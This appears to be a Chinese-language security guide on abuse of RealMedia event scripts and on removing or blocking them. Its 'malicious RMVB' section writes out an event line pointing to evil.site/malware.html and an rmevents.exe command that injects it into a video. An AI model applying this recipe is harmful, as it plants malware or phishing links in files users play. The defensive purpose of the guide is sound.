攻擊原理：RealMedia 事件腳本機制

RealMedia 格式支援 事件腳本：在時間軸特定點觸發動作 (開啟 URL、執行指令)。惡意製作者利用此功能，在影片播放至特定時間 (如 00:01:00) 自動彈出釣魚/掛馬網頁。

惡意 RMVB 製作流程 (僅供防禦理解)

1. 準備惡意網頁 URL (木馬下載頁/釣魚頁)
2. 建立事件文字檔 muma.txt：
   u 00:01:00 00:01:00 https://evil.site/malware.html
3. 使用 Helix Producer Plus 工具注入：
   rmevents.exe -i input.rmvb -e muma.txt -o output.rmvb

清除與防護三大方案

方案一：Helix Producer Plus 覆蓋清除 (官方工具)

1. 建立空白事件檔 clean.txt (內容為空或僅含合法標題)
2. 執行：rmevents.exe -i infected.rmvb -e clean.txt -o clean.rmvb
3. 原理：以空白事件表覆蓋原有惡意事件

方案二：RealMedia Filter (realfilter.exe) — 免安裝圖形化工具

• 無需安裝 Helix Producer，直接呼叫內嵌 rmevents.exe
• 操作：選擇來源檔 → 設定輸出路徑 → 「開始過濾」
• 顯示清除進度、移除事件筆數、檔案縮減大小
• 產出乾淨影片檔，可直接播放無風險

方案三：播放器端防護 (治本)

• RealPlayer / RealAlternative / MPC-BE / PotPlayer / VLC：停用「自動開啟網頁」/「執行事件腳本」功能
• VLC：工具 → 偏好設定 → 顯示所有設定 → 輸入/編解碼器 → 存取模組 → RealMedia → 取消「處理事件腳本」
• 防火牆/HIPS 規則：禁止播放器進程主動發起外網連線

延伸風險：其他容器格式同樣危險

格式	風險機制	防護
WMV/ASF	URLANDEX / Script Command 串流腳本	WMP 關閉「執行指令碼」、使用 MPC-BE/VLC
MP4/MOV	QuickTime 互動層、JavaScript in ISOBMFF	避免 QuickTime Player、啟用瀏覽器點擊播放
AVI	嵌入 OLE 物件、ACM 解碼器漏洞	更新解碼器、DEP/ASLR 緩解

總結

媒體檔案非單純資料容器，**具備腳本執行能力即為潛在攻擊向量**。防護核心：**播放器端停用腳本/外連功能** + **檔案層清除惡意事件** + **網路層封鎖播放器主動連線**。